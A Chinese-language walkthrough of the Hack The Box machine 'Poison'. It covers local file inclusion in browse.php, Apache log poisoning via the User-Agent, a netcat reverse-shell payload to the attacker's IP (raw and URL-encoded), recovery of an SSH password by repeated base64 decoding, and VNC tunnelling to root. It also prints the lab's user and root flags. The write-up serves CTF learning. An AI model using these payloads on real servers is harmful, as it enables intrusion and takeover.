0x01.LFI文件包含配合日志拿低权限shell

开放端口:22,80

目录爆破无果。

feroxbuster -u http://10.10.10.84 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
image-20220322205734982

查看80端口,跟指示输入listfile.php

image-20220322205812640
image-20220322210040407

列出了当前所在目录文件,观察页面,得到两条信息:1.可能存在本地文件包含;2.当前目录存在pwdbackup.txt敏感文件。

尝试利用本地文件包含,读Apache日志文件,及密码文件:

http://10.10.10.84/browse.php?file=/var/log/httpd-access.log
http://10.10.10.84/browse.php?file=/etc/passwd
curl -v http://10.10.10.84/browse.php?file=/etc/passwd
image-20220322210619817

注意到charix是自建用户。

image-20220322210920728

注意到日志记录了UA,那么构造一个数据包将UA改为,如下:

image-20220322211101259

一句话木马插入,现在包含日志文件并传入名为c的参数,c的值即会执行系统命令,如下:

view-source:http://10.10.10.84/browse.php?file=/var/log/httpd-access.log&c=ls
image-20220322211338984

那么直接反弹shell,如下:

原payload:rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f
编码后:rm%20-f%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E&1|nc%2010.10.14.11%204444%20%3E/tmp/f
tips:不能反弹shell的原因在于没有对关键字符进行url编码,利用burp编码是准确的,用burp编码后的payload无论是在burp中直接发包还是再经过浏览器二次编码,都是有效的。
image-20220322175038402

本地的nc将会收到一个www权限的shell,如下:

image-20220322211804707

0x02.解码拿普通用户shell

www权限的shell,没啥用,而且是FreeBsd系统,执行不了Linpeas.sh,想到之前有个pwdbackup.txt文件,根据文本提示,将这段编码,解码13次后输出,如下:

写一个循环,将文件解码13次,得到密码(Charix!2#4%6&8(0
):
data=$(cat pwd.b64); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data

得到密码后登录ssh( charix:Charix!2#4%6&8(0 )

0x04.VNC提权

查看正在运行的进程(ps -aux),注意到在监听本地5901VNC服务,这是一个远程桌面了连接服务,

image-20220322212743152

由于只对本地开放,得用ssh建立一个隧道,如下:

ssh -L 5000:127.0.0.1:5901 charix@10.10.10.84

这会使远程目标5901端口的流量转发到本地攻击机5000端口上,可以用以下命令验证:

netstat -an | grep LIST
image-20220322213151937

用以下命令连接VNC:

vncviewer 127.0.0.1:5000 -passwd secret

得到了一个图形化桌面,一个root权限的终端,如下(VNC连接很慢,需要时间):

image-20220322214626201

0x03.补充

有一点前面忘记提了,关于VNC连接时secret文件的来源,以下这一段作为补充:

在VNC官网中,解释了:VNC的连接密码可以不是一个字符串,而是一个文件,所以,VNC连接这条命令,-passwd指定的secret并不是一个值,而是一个文件,来源于/home/charix/secret.zip

用scp charix@10.10.10.84:secret.zip .来将文件从远程服务器传输到本地。(SCP命令介绍

secret.zip的解压密码可以通过猜测/爆破得到,解压密码就是secret,解压后就得到了secret文件,这便是由来。

user.txt:eaacdfb2d141b72a589233063604209c
root.txt:716d04b188419cf2bb99d891272361f5

参考文章:

https://0xdf.gitlab.io/2018/09/08/htb-poison.html

https://shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16d

0x04.总结

  • 1.LFI本地文件包含配合日志文件拿www权限shell
  • 2.base64解码拿用户shell
  • 3.VNC提权
image-20220322220118437